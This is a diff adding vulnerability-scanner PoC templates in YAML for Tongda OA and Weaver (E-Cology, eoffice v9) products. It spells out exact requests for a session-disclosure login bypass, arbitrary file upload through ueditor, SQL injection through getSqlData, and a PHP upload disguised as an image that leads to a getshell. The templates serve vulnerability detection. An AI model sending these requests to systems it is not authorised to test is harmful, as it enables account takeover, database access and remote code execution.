-name: poc-yaml-tongda-user-session-disclosure
+name: tongda-user-session-disclosure
 rules:
   - method: GET
-    path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
-    follow_redirects: false
-    expression: "true"
-
-  - method: POST
-    path: /general/userinfo.php?UID=1
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json")
-
+    path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0
+    expression: response.body.bcontains(b'RELOGIN') && response.status == 200
 detail:
-  author: kzaopa(https://github.com/kzaopa)
-  links:
-    - https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ
+    author: kzaopa(https://github.com/kzaopa)
+    description: |
+        通达OA v11.7 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统
+    links:
+        - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html
+        - https://www.cnblogs.com/T0uch/p/14475551.html
+        - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/

WebScan/pocs/tongda-v2017-uploadfile.yml

@@ -0,0 +1,50 @@
+name: tongda-v2017-uploadfile
+set:
+  rand1: randomLowercase(12)
+  fileContent: randomLowercase(12)
+rules:
+  - method: POST
+    path: /module/ueditor/php/action_upload.php?action=uploadfile
+    headers:
+      Content-Type: multipart/form-data; boundary=55719851240137822763221368724
+    body: |
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[fileFieldName]"
+
+      ffff
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
+
+      1000000000
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[filePathFormat]"
+
+      tcmd
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
+
+      .txt
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt"
+      Content-Type: application/octet-stream
+
+      {{fileContent}}
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="mufile"
+
+      submit
+      -----------------------------55719851240137822763221368724--
+    expression: |
+      response.status == 200
+  - method: GET
+    path: /{{rand1}}.txt
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(fileContent))
+detail:
+  author: zan8in
+  description: |
+    通达OA v2017 action_upload.php 任意文件上传漏洞
+    通达OA v2017 action_upload.php 文件过滤不足且无需后台权限，导致任意文件上传漏洞
+    app="TDXK-通达OA"
+  links:
+    - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html

WebScan/pocs/weaver-E-Cology-getSqlData-sqli.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-weaver-E-Cology-getSqlData-sqli
+rules:
+  - method: GET
+    path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b'Microsoft SQL Server')
+
+detail:
+  author: PeiQi0
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
+  tags: weaver,sqli

WebScan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml

@@ -0,0 +1,25 @@
+name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell
+manual: true
+transport: http
+set:
+    r1: randomLowercase(8)
+rules:
+  - method: POST
+    path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
+    headers:
+        Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
+    body: |-
+        --e64bdf16c554bbc109cecef6451c26a4
+        Content-Disposition: form-data; name="Filedata"; filename="test.php"
+        Content-Type: image/jpeg
+        {{r1}}
+        --e64bdf16c554bbc109cecef6451c26a4--
+    expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php")
+  - method: GET
+    path: /images/logo/logo-eoffice.php
+    follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(bytes(r1))
+detail:
+    author: szd790056181
+    links:
+        - http://www.ctfiot.com/13682.html